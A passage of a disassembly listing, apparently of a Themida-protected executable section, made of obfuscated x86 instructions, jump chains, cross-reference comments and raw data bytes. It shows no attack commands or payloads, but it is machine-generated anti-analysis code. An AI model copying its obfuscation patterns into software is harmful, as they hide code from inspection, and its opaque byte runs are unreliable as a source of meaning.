CODE XREF: Themida_:0054A1E0j mov edi, 61341822h add edi, 64C16F76h shl edi, 8 xor edi, 0D8488DE1h add esi, edi jmp loc_54A104 ; --------------------------------------------------------------------------- dd 13ED80h, 6E0DE9E5h db 2 dup(0) word_5478AA dw 34FFh ; DATA XREF: Themida_:005444B0o dd 0FEFDE924h, 1C89FFFFh, 0D89FE924h, 0D3F7FFFFh, 4599E9h dd 0C4835A00h, 24048F04h, 8850535Ch, 0CDF6E9D4h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5478D2: ; CODE XREF: Themida_:0054C03Aj add esp, 4 add ebp, 4 push edi mov edi, 4 jmp loc_545324 ; --------------------------------------------------------------------------- dw 0EB81h dd 425B2087h, 0D5F7EB87h, 0FFF71AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5478F5: ; CODE XREF: Themida_:0054F889j or eax, eax jnz loc_54AF9D push esi mov esi, 54AC4010h or esi, 1EAD0903h jmp loc_5457F5 ; --------------------------------------------------------------------------- dw 489h dd 4B824h, 0E9500000h, 26A1h ; --------------------------------------------------------------------------- loc_54791C: ; CODE XREF: Themida_:0054FA32j pop esp jmp loc_546F33 ; --------------------------------------------------------------------------- dw 0E1F7h dd offset dword_4D8154+14h dd 24148900h, 74E99C50h, 68FFFFCDh, 761Ah, 0E9241C89h dd 2628h ; --------------------------------------------------------------------------- loc_547940: ; CODE XREF: Themida_:0054D06Cj push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_54E0FA ; --------------------------------------------------------------------------- loc_54794E: ; CODE XREF: Themida_:0054FF27j sub esp, 4 mov [esp], ebp push ecx mov ecx, 1B7E16F6h mov ebp, 1B7E16FAh sub ebp, ecx mov ecx, [esp] jmp loc_54EF7B ; --------------------------------------------------------------------------- db 0D3h, 4, 24h dd 0CD35E99Ch, 0C481FFFFh, 4, 0FFCD2AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54797D: ; CODE XREF: Themida_:0054BCBBj pop esi jmp loc_547696 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24348900h, 4BEh, 74160500h, 532D38E5h, 1072F7Eh dd 7E5305F0h, 162D072Fh, 8B38E574h, 54E92434h, 5C000017h dd 5606E952h, 4B80000h, 51000000h, 5C36A1B9h, 59CD0170h dd 0B07C581h, 0C5015D0Bh, 0B07ED81h, 0ED815D0Bh, 705C36A1h dd 242C3358h, 33242C31h, 248B242Ch, 0EC815624h, 4, 0B9240C89h dd 678E76A1h, 5559CE89h, 0FFE307E9h, 59CA01FFh, 5B0EEA81h dd 0C283410Eh, 0DAF74A01h, 0BB53EAD1h, 0B211D49h, 34FFDA31h dd 71DCE924h, 0B6520000h, 0E1EE80CAh, 2DA0E9h, 0BF575A00h dd 7B180C80h, 94F2E9h db 0 ; --------------------------------------------------------------------------- loc_547A35: ; CODE XREF: Themida_:00546C3Bj pop dword ptr [esp] pop esp jmp loc_544F06 ; --------------------------------------------------------------------------- dw 5657h dd 6D69E6BEh, 5EE68160h, 0C16D2D3Dh, 9EE904E6h, 59000030h dd 4C481h, 0A22C0000h, 514AB652h, 0E1C020B1h, 0FED1F606h dd 2E1C0C9h, 2874E980h, 0EE0459CEh, 0EE2CF028h, 4D8005Ah dd 46E952C6h, 5A000054h, 654E9h, 4C58300h, 5C242C87h, 4C781h dd 3C870000h, 24248B24h, 0FFCC06E9h db 0FFh byte_547AA1 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005444E0o dd 2A76E9h, 114E2D00h, 0AAE97518h db 0D9h, 2 dup(0FFh) byte_547AB3 db 66h ; DATA XREF: Themida_:00544500o dd 56240C8Bh, 5152E689h, 465CC0B9h, 4E9C137h, 0FFDD9BE9h dd 674FBFFFh, 7EE90C8Ch db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547AD3: ; CODE XREF: Themida_:00545E3Dj push edi mov edi, 1E2D4A6Dh neg edi jmp loc_548F78 ; --------------------------------------------------------------------------- loc_547AE0: ; CODE XREF: Themida_:0054F579j mov [esp], ebx mov ebx, 2D4A58C2h and ebx, 6105C44h shl ebx, 7 dec ebx push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_551258 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48124h, 1000000h, 8104244Ch, 0AA04246Ch, 59399558h dd 0FFCB8AE9h db 0FFh ; --------------------------------------------------------------------------- loc_547B1D: ; CODE XREF: Themida_:00547316j sub bh, 2Ah add bh, 80h xor ah, bh jmp loc_5472A1 ; --------------------------------------------------------------------------- a_su db '_éî|',0 align 10h dd 6B73BE56h, 0F5211EEEh, 4F2AE9h db 0 ; --------------------------------------------------------------------------- loc_547B3D: ; CODE XREF: Themida_:0054DD42j pop ebp add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_549B63 ; --------------------------------------------------------------------------- loc_547B50: ; CODE XREF: Themida_:005505FBj add dword ptr [esp], 465216C8h push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push edi mov edi, 25184564h jmp loc_54FDDF ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 6 dd 475EE281h, 0B951554Dh, 349A037Ch, 4470C981h, 0C1812D49h dd 2773D76Fh, 5159CA21h, 0D64C48B9h, 3BE98123h, 0E94C0219h dd 69B8h ; --------------------------------------------------------------------------- loc_547BA0: ; CODE XREF: Themida_:00546502j xor [esp+4], ebp mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov eax, [esp] add esp, 4 push esi jmp loc_545D65 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFCADBh ; --------------------------------------------------------------------------- loc_547BCC: ; CODE XREF: Themida_:00544A3Bj shl ecx, 3 push esi jmp loc_54A6B0 ; --------------------------------------------------------------------------- db 66h, 0Fh, 0BBh dd 0E99C2404h, 0FFFFCAC7h, 4C681h, 7EE90000h, 0E9000072h dd 0FFFFCAB7h, 24048F5Eh, 242C895Ch, 0C5815D54h, 4, 8904EC83h dd 2BA2414h, 29000000h, 24148BD5h, 0FFEFFEE9h db 0FFh ; --------------------------------------------------------------------------- loc_547C15: ; CODE XREF: Themida_:00545062j add ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_54C939 ; --------------------------------------------------------------------------- dw 0BE56h dd 0F30ADCh, 15EF029h, 0E078E9C2h, 0C783FFFFh, 37F781FFh dd 295199BDh, 0EA815FFAh, 31741689h, 4201E9h db 0 ; --------------------------------------------------------------------------- loc_547C4D: ; CODE XREF: Themida_:0054D83Bj sub ebp, 95733E5h sub ebp, 71D12F2Bh add ebp, 2C5E6F9Eh jmp loc_54DD40 ; --------------------------------------------------------------------------- dd 66D5005Bh, 83C5FE5Ah, 148904ECh, 2043B224h, 0B3535AD5h dd 0FEDBF6EEh, 5FE380C3h, 0FFD201E9h, 4B9FFh, 0CE890000h dd 49B9E9h, 33E28100h, 4A085B4Dh, 5F67EA81h, 0F2817A19h dd 0EB38A493h, 0C0E9D389h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547CAB: ; CODE XREF: Themida_:005481ADj mov ecx, esp jmp loc_544D60 ; --------------------------------------------------------------------------- aSn3 db '\é3',0 align 4 dd 0A44169BEh, 8EEC143h, 0D2F7D687h, 0EE81D687h, 77340CE0h dd 331EF681h, 0F721C3C6h, 3EEF815Eh, 1480C04h, 243C8BF8h dd 0E904C483h, 3A70h ; --------------------------------------------------------------------------- loc_547CE8: ; CODE XREF: Themida_:0054DBFEj mov [esp], edi jmp loc_550117 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFFDA83h, 4BFh, 5FFE0100h, 8702EE83h dd 0E3E92434h, 81000040h, 66D8AEEEh, 5EF18947h, 0E3AF181h dd 0D1E9667Eh, 81FFFFD0h, 0DE0473EEh, 5EF20167h, 8704C283h dd 565C2414h, 970C32BEh, 0E9F30174h, 0FFFFCE77h ; --------------------------------------------------------------------------- loc_547D3C: ; CODE XREF: Themida_:0054DC05j pop ebp shr eax, 0Ch xor eax, ecx xor eax, edx xor edx, eax xor eax, edx push 6566h mov [esp], edx xor [esp], ebx xor ebx, [esp] xor [esp], ebx push ebx push ebx jmp loc_54EA66 ; --------------------------------------------------------------------------- loc_547D60: ; CODE XREF: Themida_:00546CE4j xor [esp], edi xor edi, [esp] pop esp jmp loc_544E3F ; --------------------------------------------------------------------------- dd 1EE95966h, 3300000Bh, 60E9243Ch db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_547D7B: ; CODE XREF: Themida_:0054AEC5j pop esp jmp loc_548A35 ; --------------------------------------------------------------------------- loc_547D81: ; CODE XREF: Themida_:0054E8E0j push 431E48C9h pop esi jmp loc_545ACF ; --------------------------------------------------------------------------- loc_547D8C: ; CODE XREF: Themida_:0054D19Cj push esi mov esi, 4B296BCEh jmp loc_54B7ED ; --------------------------------------------------------------------------- loc_547D97: ; CODE XREF: Themida_:0054817Bj pop ebp add edx, 4 xchg edx, [esp] pop esp jmp loc_547725 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFC8FBh, 64EF815Fh, 8B39D442h, 0C4832414h, 29BD5504h dd 815EB50Ch, 742A07EDh, 0E9EF0168h, 208Bh, 0E9241433h dd 67EDh, 0FF58088Bh, 34FF2434h, 241C8B24h, 81E68956h dd 4C6h, 4C68100h, 0E9000000h, 0FFFFE2EDh ; --------------------------------------------------------------------------- loc_547DF4: ; CODE XREF: Themida_:0054D980j pop edi xor ecx, ebp pop ebp jmp loc_54680A ; --------------------------------------------------------------------------- byte_547DFD db 8Bh, 4, 24h ; DATA XREF: Themida_:00544424o dd 57E38953h, 0B62E04BFh, 4EFC11Bh, 0CF81DFF7h, 7A3930B5h dd 73A8CF81h, 0EF81684Bh, 0FE7FFFB9h, 2B76E9h db 0 ; --------------------------------------------------------------------------- loc_547E25: ; CODE XREF: Themida_:005497A2j xchg edx, [esp] pop esp jmp loc_54B535 ; --------------------------------------------------------------------------- dw 3C89h dd 4EC8324h, 609DE9h, 24348700h, 0DFC5815Dh, 124EA9Ch dd 54565DEBh, 0FD92E95Eh, 0E981FFFFh, 42772BB2h, 514DE181h dd 0F1817AE4h, 0B4CCC9D3h, 8959CB01h, 0D1F75BD9h, 0FFF519E9h dd 244668FFh, 1C890000h, 0DBBBE924h db 2 dup(0FFh) word_547E7A dw 28E9h ; DATA XREF: Themida_:off_544450o dd 0B7FFFFC8h, 0E9E70014h, 0FFFFD3DAh ; --------------------------------------------------------------------------- loc_547E88: ; CODE XREF: Themida_:00548E56j pop esp jmp loc_548007 ; --------------------------------------------------------------------------- loc_547E8E: ; CODE XREF: Themida_:0054A0C0j push ecx mov ch, 0A2h push eax jmp loc_54B64D ; --------------------------------------------------------------------------- loc_547E97: ; CODE XREF: Themida_:005471ECj mov ebx, esp jmp loc_547EE5 ; --------------------------------------------------------------------------- dw 0EF83h dd 243C8704h, 8924248Bh, 1CE92404h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547EAF: ; CODE XREF: Themida_:00551344j add esp, 4 loc_547EB5: ; CODE XREF: Themida_:0054C841j push ebx push dword ptr [esp] jmp loc_544E38 ; --------------------------------------------------------------------------- dw 0F681h dd 4CE5D9F9h, 0E95EF389h, 38EBh, 0E9243C8Bh, 19BAh, 240C8966h dd 8B83E9h, 24348900h, 682BE9h db 0 ; --------------------------------------------------------------------------- loc_547EE5: ; CODE XREF: Themida_:00547E99j push edi mov edi, 4 add ebx, edi jmp loc_54F097 ; --------------------------------------------------------------------------- loc_547EF2: ; CODE XREF: Themida_:005475F5j or dh, 0A2h or dh, 0AFh xor dh, 0D9h sub ch, dh pop edx sub al, ch mov ecx, [esp] jmp loc_5447E5 ; --------------------------------------------------------------------------- dd 582434FFh, 0FFF240E9h db 0FFh byte_547F11 db 53h, 0BBh, 38h ; DATA XREF: Themida_:00544438o dd 81000000h, 0B423C6EBh, 0E9FB017Fh, 682Dh ; --------------------------------------------------------------------------- loc_547F24: ; CODE XREF: Themida_:005508ABj sub esi, 548F53C6h add esi, 5E5218D6h and esi, 5F635E33h jmp loc_550AAE ; --------------------------------------------------------------------------- aS@u db '\é@u',0 dd 24040100h, 0C75DE99Ch, 0F581FFFFh, 0FF3FAD04h, 4E9EE01h dd 0C1000058h, 78E906E0h, 8900001Fh, 8BEA89DDh, 8950242Ch dd 405E0h, 4050000h, 87000000h, 5B5C2404h, 148BD601h, 4C48324h dd 0E9243487h, 0FFFFEDA7h, 0FFC71AE9h, 88BB53FFh, 0C11CA613h dd 9DE903EBh db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547F9B: ; CODE XREF: Themida_:0054C917j push ebx mov ebx, 2D0A7127h jmp loc_54D040 ; --------------------------------------------------------------------------- dw 0D120h dd 0D1F65A66h, 8023E180h, 0C82884C1h, 0C0E95B59h, 6600007Ah dd 0B7241C89h, 66FD08EBh, 5EDC05Bh, 80FFED80h, 4C2C50EDh dd 775EE9h db 0 ; --------------------------------------------------------------------------- loc_547FD5: ; CODE XREF: Themida_:0054D346j push ebx push eax mov eax, 1D9F5C52h mov ebx, 53572D9Dh xor ebx, eax pop eax push esi mov esi, 32B1322Ch jmp loc_54BA64 ; --------------------------------------------------------------------------- loc_547FEF: ; CODE XREF: Themida_:0054E509j shl edi, 8 sub edi, 614A23FCh add edx, edi pop edi add edx, 4 xchg edx, [esp] pop esp jmp loc_546286 ; --------------------------------------------------------------------------- loc_548007: ; CODE XREF: Themida_:00547E89j mov [esp], eax mov eax, 5ADD130Bh push 0 sub [esp], eax pop eax sub eax, 5C6B4CFEh push ebx jmp loc_546A93 ; --------------------------------------------------------------------------- db 0F7h dd 0BA2505D0h, 0C50106F3h, 8124048Bh, 4C4h, 242C8700h dd 0FE24248Bh, 0E99C2404h, 0FFFFC663h ; --------------------------------------------------------------------------- loc_548044: ; CODE XREF: Themida_:0054ED19j mov esp, [esp] mov [esp], edx push esp pop edx add edx, 4 push ebx push esi mov esi, 2 push esi pop ebx pop esi sub edx, ebx pop ebx jmp loc_54FE54 ; --------------------------------------------------------------------------- dd 5838ED81h, 0F58179C2h, 0FD98F84Fh, 0FFF262E9h db 0FFh byte_548075 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005445E0o dd 4EC8324h, 68242C89h, 2AC6h, 215CE9h db 0 byte_548089 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054465Co dd 4E685024h, 89000017h, 4832424h, 5580424h, 4, 51685652h dd 8B2E2F3Bh, 0C4812434h, 4, 0E681D6F7h, 40E6036Fh, 2CF681h dd 0F28940C0h, 5684E9h, 21EA8000h, 2842C280h, 0E9C05AD1h dd 0AFE98007h, 0C800D22Ch, 1A23E9h, 0C5C5E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5480E2: ; CODE XREF: Themida_:0054FFBCj sub esp, 4 mov [esp], esi jmp loc_546198 ; --------------------------------------------------------------------------- dd 202DD0F7h, 2969759Dh, 0C58158C5h, 1F12502Eh, 13CBE9h db 0 ; --------------------------------------------------------------------------- loc_548105: ; CODE XREF: Themida_:0054B7E8j mov ebx, edx pop edx neg ebx xor ebx, 7BD12B5Ch shl ebx, 2 and ebx, 6008364Fh sub ebx, 0D4FFE28h jmp loc_54C087 ; --------------------------------------------------------------------------- loc_548124: ; CODE XREF: Themida_:0054C301j not esi push ebx mov ebx, 0A80ABFEBh add esi, ebx pop ebx mov ecx, esi mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] xor ecx, 505069E6h add ebp, 73C43E9Dh add ebp, ecx sub ebp, 73C43E9Dh jmp loc_54CF2A ; --------------------------------------------------------------------------- dw 0D301h dd 4DE5EB81h, 148B43BCh, 901FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548172: ; CODE XREF: Themida_:005473BDj pop esi add edx, ebp sub edx, 782B3139h jmp loc_547D97 ; --------------------------------------------------------------------------- dd 8904EC83h, 0B966240Ch, 0C1661670h, 0F76607E1h, 0BA6652D1h dd 0C16643D4h, 0F76608EAh, 0EA8166DAh, 1669758h, 7A25E9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5481AA: ; CODE XREF: Themida_:0054A557j mov [esp], ecx jmp loc_547CAB ; --------------------------------------------------------------------------- aYsR db 'Yé!R',0 align 4 loc_5481B8: ; CODE XREF: Themida_:0054559Bj mov [esp], eax mov eax, 70781BA6h sub dword ptr [esp+8], 43736DEFh add dword ptr [esp+8], 42937BC2h sub [esp+8], eax sub dword ptr [esp+8], 42937BC2h add dword ptr [esp+8], 43736DEFh jmp loc_545AA9 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 83000000h, 1C8704C3h, 0ACE95C24h db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5481FB: ; CODE XREF: Themida_:0054DC51j mov bh, 4Eh and bh, 64h or bh, 36h or bh, 43h dec bh xor bh, 9 mov dl, bh pop bx push 49C2h mov [esp], eax push ecx mov ch, dl mov ah, ch pop ecx mov bh, ah pop eax jmp loc_54B68B ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FFD72AE9h, 4C381FFh, 81000000h, 2C3h, 241C8700h, 6824248Bh dd 22C9h, 5958E9h, 5DEE0100h, 3302C683h, 34312434h, 0F0F0E924h dd 148BFFFFh, 4C48124h, 0E9000000h, 0FFFFC43Fh, 0B5EA80h dd 0EE97E9D0h, 0E9D1FFFFh, 0C770E955h, 483FFFFh, 48F0424h dd 34986824h, 0C890000h, 4B85024h, 50000000h, 63240481h dd 59700A38h, 3863E981h, 0E958700Ah, 634Eh dword_5482A4 dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFFC3F3h, 0D224248Bh ; DATA XREF: Themida_:00544524o dd 0E99C243Ch, 0FFFFC3E7h, 0C80FEA81h, 0CA81507Bh, 524C2633h dd 3EB9BD55h, 0DDF71D14h, 8108EDC1h, 18F1EF5h, 0E9EA211Bh dd 20BFh ; --------------------------------------------------------------------------- loc_5482E4: ; CODE XREF: Themida_:00548B78j add ebp, 4 add ebp, 4 xor ebp, [esp] jmp loc_54D609 ; --------------------------------------------------------------------------- loc_5482F5: ; CODE XREF: Themida_:00545AAFj sub dword ptr [esp+4], 26DE1ACFh pop ebx pop dword ptr [edi+24h] jmp loc_545A63 ; --------------------------------------------------------------------------- loc_548306: ; CODE XREF: Themida_:0054AE89j add bl, al add bl, 0ACh movzx eax, al push dword ptr [edi+eax*4] xor dword ptr [esp], 35AD324Ch jmp loc_54915B ; --------------------------------------------------------------------------- byte_54831D db 66h, 8Bh, 4 ; DATA XREF: Themida_:005444A4o dd 4EC8124h, 89000000h, 0D368243Ch, 0E900005Bh, 0FFFFCB99h ; --------------------------------------------------------------------------- loc_548334: ; CODE XREF: Themida_:00550FFBj mov ebp, 7A1C35A7h jmp loc_54ADB2 ; --------------------------------------------------------------------------- word_54833E dw 8B66h ; DATA XREF: Themida_:005445B4o dd 2DE92404h, 8B000077h, 54532434h, 5B2434FFh, 6804C483h dd 6CC4h, 7F01E9h db 0 ; --------------------------------------------------------------------------- loc_54835D: ; CODE XREF: Themida_:005456FBj xchg ebp, [esp] jmp loc_5449BE ; --------------------------------------------------------------------------- db 51h, 81h, 4 dd 312FF124h, 0EF815F7Bh, 7B312FF1h, 5FFD2959h, 0E9242C33h dd 67A2h, 2B8h, 0CFBD5500h, 813D0E11h, 0DE0588F5h, 0E9EE012Fh dd 0E40h ; --------------------------------------------------------------------------- loc_548398: ; CODE XREF: Themida_:0054FFAEj xchg ecx, [esp] pop esp mov [esp], edi mov edi, 3C5653C2h add edi, 1752AD2Ah xor [esp+4], edi jmp loc_54A945 ; --------------------------------------------------------------------------- db 81h dd 0F579A0EAh, 0FC22D99h, 0D00102C7h, 0C70FC205h, 0BA525A02h dd 77686FBDh, 6F8FE9h db 0 aFlS?y db 'f‹$$é?y',0 ; DATA XREF: Themida_:005445FCo align 2 aBulnlnsu8 db 'ã«N‹néî8',0 db 0 ; --------------------------------------------------------------------------- loc_5483E5: ; CODE XREF: Themida_:00544AF0j push ebp push ecx mov ecx, 1DF52532h mov ebp, ecx pop ecx push edx mov edx, 5B1623F9h sub ebp, edx jmp loc_551141 ; --------------------------------------------------------------------------- loc_5483FC: ; CODE XREF: Themida_:00544862j mov [esp], eax mov eax, 3B215611h push ecx push 713D2904h jmp loc_54B8A6 ; --------------------------------------------------------------------------- byte_54840F db 66h ; DATA XREF: Themida_:00544444o dd 5324048Bh, 0C3815B54h, 4, 0BF575156h, 62EE7A40h, 0AC3F781h dd 0EF815543h, 0D2F96E43h, 2A95E9h, 0EFBF5700h, 814DB30Ah dd 0F33BBACFh, 68DFF719h, 649Ch, 0BD242C89h, 376038FEh dd 30EFF581h, 0D5F7623Ah, 2664F581h, 0F58123F3h, 57A85E54h dd 682ED81h, 0EF2905CBh, 5FF9295Dh, 5714E9h db 0 ; --------------------------------------------------------------------------- loc_548475: ; CODE XREF: Themida_:0054B538j xor eax, ecx sub esp, 4 mov [esp], eax xor [esp], edi xor edi, [esp] xor [esp], edi xor edi, edx jmp loc_54D0FF ; --------------------------------------------------------------------------- loc_54848D: ; CODE XREF: Themida_:0054DD28j sub ebp, 0F5523824h mov eax, ebp pop ebp push edi mov edi, 50E31B2h sub esp, 4 mov [esp], edx mov edx, 15003657h push edi push 21397223h pop edi jmp loc_548AA2 ; --------------------------------------------------------------------------- aVTw?nsc db 'V¾Êtw?Néç`',0 align 2 aBi3sxs81 db 'ë[',1Bh,'3SXé81',0 align 2 loc_5484CE: ; CODE XREF: Themida_:005472A5j pop ax add al, 0FEh add al, ch sub al, 0FEh pop ecx add bl, 0F5h push 72B9h mov [esp], edx mov dl, 0CAh push eax mov al, 72h or dl, al jmp loc_54B807 ; --------------------------------------------------------------------------- dw 4BEh dd 1000000h, 2C875EF5h, 496CE924h, 815A0000h, 6F2CACEBh dd 81CB0118h, 6F2CACC3h, 240C8B18h, 0E904C483h, 0FFFFCFD8h dd 0E924048Fh, 3E57h ; --------------------------------------------------------------------------- loc_548520: ; CODE XREF: Themida_:00545F8Bj sub esp, 4 mov [esp], esi jmp loc_54A284 ; --------------------------------------------------------------------------- dw 0EB68h dd 89000024h, 74FF243Ch, 3C8B0424h, 4C48124h, 0E9000000h dd 75Bh, 5966C304h, 132F6851h, 14890000h, 806CB624h, 0D6F66FF6h dd 0D0F7F680h, 80CEFEE6h, 685062EEh, 115Dh, 0E9240C89h dd 41D0h, 5BD800h, 2CC02CF0h, 0E9515AEAh, 80F0h, 0E924348Bh dd 2A3Eh, 5704EAC1h, 27F87DBFh, 5FFA311Bh, 13F2E9h, 9FE95B00h dd 89000024h, 2BE468E5h, 3C890000h, 1554BF24h, 0C78360C2h dd 7DB95101h, 316F8920h, 0EF8759CFh, 0EF87D5F7h, 0CAD3EF81h dd 0FD01F0B4h, 0FFC54DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5485D1: ; CODE XREF: Themida_:0054E96Ej mov ebp, 416D1D56h sub ebp, 3C776C34h sub ebp, 75C52587h and ebp, 2451474Ch or ebp, 75D23824h xor ebp, 66F937ADh or esi, ebp pop ebp shr esi, 7 add esi, 0EF6341Bh sub esi, 0F88F2D9h xor ebx, esi mov esi, [esp] jmp loc_549F2D ; --------------------------------------------------------------------------- loc_548610: ; CODE XREF: Themida_:0054D744j and eax, 51CC50DDh shr eax, 4 push 1280h mov [esp], ebx mov ebx, 674D64E1h add ebx, 0F63D186Fh add eax, ebx jmp loc_5494C7 ; --------------------------------------------------------------------------- loc_548632: ; CODE XREF: Themida_:0054C199j mov esp, [esp] jmp loc_54F883 ; --------------------------------------------------------------------------- dw 5F5Ah dd 3302C583h, 2C31242Ch, 242C3324h, 24D3665Ch, 54E99C24h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548653: ; CODE XREF: Themida_:0054B9B5j not ecx push ebx mov ebx, 0D678938Ah xor ecx, ebx jmp loc_54E5D4 ; --------------------------------------------------------------------------- loc_548662: ; CODE XREF: Themida_:005456A2j sub [esp+4], ecx sub dword ptr [esp+4], 6A710F6Dh jmp loc_545833 ; --------------------------------------------------------------------------- aNsM db 'éšm',0 ; DATA XREF: Themida_:005443ECo dd 0FCE95700h, 0F00003Ah, 34FFC0B6h, 2FB26887h, 4EE90000h dd 81FFFFF8h, 4ECh, 241C8900h, 4BBh, 25C68100h, 149D55Dh dd 25BD55DEh, 0E949D55Dh, 44D3h, 8B240487h, 4202424h, 0E8E99C24h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5486BF: ; CODE XREF: Themida_:0054DFE7j push cx mov cl, 92h sub dl, cl pop cx add al, 7Eh add al, dl push cx jmp loc_5477F3 ; --------------------------------------------------------------------------- dw 70B9h dd 0F75EC412h, 81D9F7D1h, 7C77BEE9h, 0D4E9811Bh, 816B7462h dd 0D337DBF1h, 59CF01D7h, 8B243C87h, 6DE92424h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5486FB: ; CODE XREF: Themida_:0054B8E5j pop esp jmp loc_54A3B4 ; --------------------------------------------------------------------------- db 66h, 52h, 0B2h dd 0F89CE9FEh, 8B66FFFFh, 0C4812404h, 2, 24048F66h, 2EC81h dd 5E90000h, 52FFFFD7h, 0AA5CEABAh, 88F2812Dh, 0E955A77Dh dd 0FFFFE4C3h ; --------------------------------------------------------------------------- loc_548734: ; CODE XREF: Themida_:0054BF28j xor [esp], edi mov eax, [esp] push ebp jmp loc_545F65 ; --------------------------------------------------------------------------- dd 0CFF58058h, 0F59EB00h, 34FFC0B6h, 5F2D6887h, 4890000h dd 59BDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54875A: ; CODE XREF: Themida_:00545CD8j add dword ptr [edi+24h], 0FFBF4425h xor edx, edx push 34C7h mov [esp], ebx add dword ptr [esp], 1A06564Fh push dword ptr [esp] pop eax push ebx push esp pop ebx push 105Dh jmp loc_54AF6E ; --------------------------------------------------------------------------- db 81h dd 4C2h, 24148700h, 0E389535Ch, 0A8E9h db 0 ; --------------------------------------------------------------------------- loc_548795: ; CODE XREF: Themida_:0054FCFFj add eax, 0B2867F3Bh jmp loc_544CFF ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24348900h, 4BEh, 8BF08900h, 0C4832434h, 58C20104h dd 2BE56h, 0F2010000h, 2414875Eh, 24248Bh, 0E99C2404h dd 0FFFFBED7h, 0FF241489h, 5A042474h, 0E924048Fh, 894Bh ; --------------------------------------------------------------------------- loc_5487E0: ; CODE XREF: Themida_:005506FEj pop ecx mov ch, bh pop ebx add ch, bh pop ebx push edx mov dh, 0B1h xor dh, 48h sub dh, 0B4h jmp loc_54F02E ; --------------------------------------------------------------------------- loc_5487F5: ; CODE XREF: Themida_:0054490Bj add dword ptr [esp+4], 695B3C66h jmp loc_54F6E9 ; --------------------------------------------------------------------------- loc_548802: ; CODE XREF: Themida_:00548F55j add esp, 4 pop edx jmp loc_55017C ; --------------------------------------------------------------------------- loc_54880E: ; CODE XREF: Themida_:00551126j add esp, 4 jmp loc_54BB98 ; --------------------------------------------------------------------------- loc_548816: ; CODE XREF: Themida_:00548E0Cj xor ebx, 0D1B4859h pop ebp and ecx, ebx mov ebx, [esp] jmp loc_54B77B ; --------------------------------------------------------------------------- loc_548827: ; CODE XREF: Themida_:005453E4j sub esi, 0B1BD4F89h add eax, esi push dword ptr [esp] jmp loc_549B9D ; --------------------------------------------------------------------------- aSE db '\éËe',0 dd 4C38100h, 81000000h, 4EBh, 241C3300h, 33241C31h, 39E9241Ch dd 55000034h, 59C3B951h, 0B4BD55BBh, 2935C426h, 0EE8159CDh dd 332E4676h, 0F97E9h db 0 ; --------------------------------------------------------------------------- loc_548871: ; CODE XREF: Themida_:0054ECAFj mov esi, 0BB80EF54h add ecx, esi jmp loc_54B2E3 ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 242C895Ch, 4BDh, 5DEE0100h, 411DE9h, 4EC8300h, 4BC2E9h dd 50E95600h, 5000001Fh, 412965B8h, 58C20128h, 0FFCFA3E9h dd 24348BFFh, 4C481h, 48F0000h, 0F665C24h, 9C2404B3h, 0FFD7CDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5488C5: ; CODE XREF: Themida_:0054F5F7j not edx sub edx, 5893624Ah mov ebx, edx pop edx push edx jmp loc_54CD16 ; --------------------------------------------------------------------------- loc_5488D6: ; CODE XREF: Themida_:00546B13j pop edi or ecx, 60CA3818h jmp loc_54EAF0 ; --------------------------------------------------------------------------- dw 0F281h dd 0E931EBBDh, 815AD601h, 4C6h, 24348700h, 6333E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5488FA: ; CODE XREF: Themida_:0054EC78j jmp loc_5446A7 ; --------------------------------------------------------------------------- db 80h dd 505AC3C5h, 0FFC880E9h, 4EC81FFh, 0E9000000h, 0FFFFC4A2h dd 0D0D9E95Fh, 94B5FFFFh, 665AF528h, 0C3B05052h, 2858C288h dd 285A66D0h, 0FC16E9E8h, 5451FFFFh, 4C18159h, 52000000h dd 0CD3719BAh, 0D2E94A31h, 56000015h, 0FFC5E9E9h, 6F3068FFh dd 1C890000h, 7457E924h, 0E7BE0000h, 81498A08h, 5A0C96CEh dd 91C68157h, 0C13A865Fh, 0C68104EEh, 2AB30DE3h, 6CC68146h dd 0E9255B56h, 148Eh ; --------------------------------------------------------------------------- loc_548980: ; CODE XREF: Themida_:0054908Ej xor esi, ebx pop ebx shr esi, 1 add esi, 1 shr esi, 3 jmp loc_5453E1 ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 64E95824h, 52000020h, 6701E9h db 0 ; --------------------------------------------------------------------------- loc_5489A5: ; CODE XREF: Themida_:00546427j 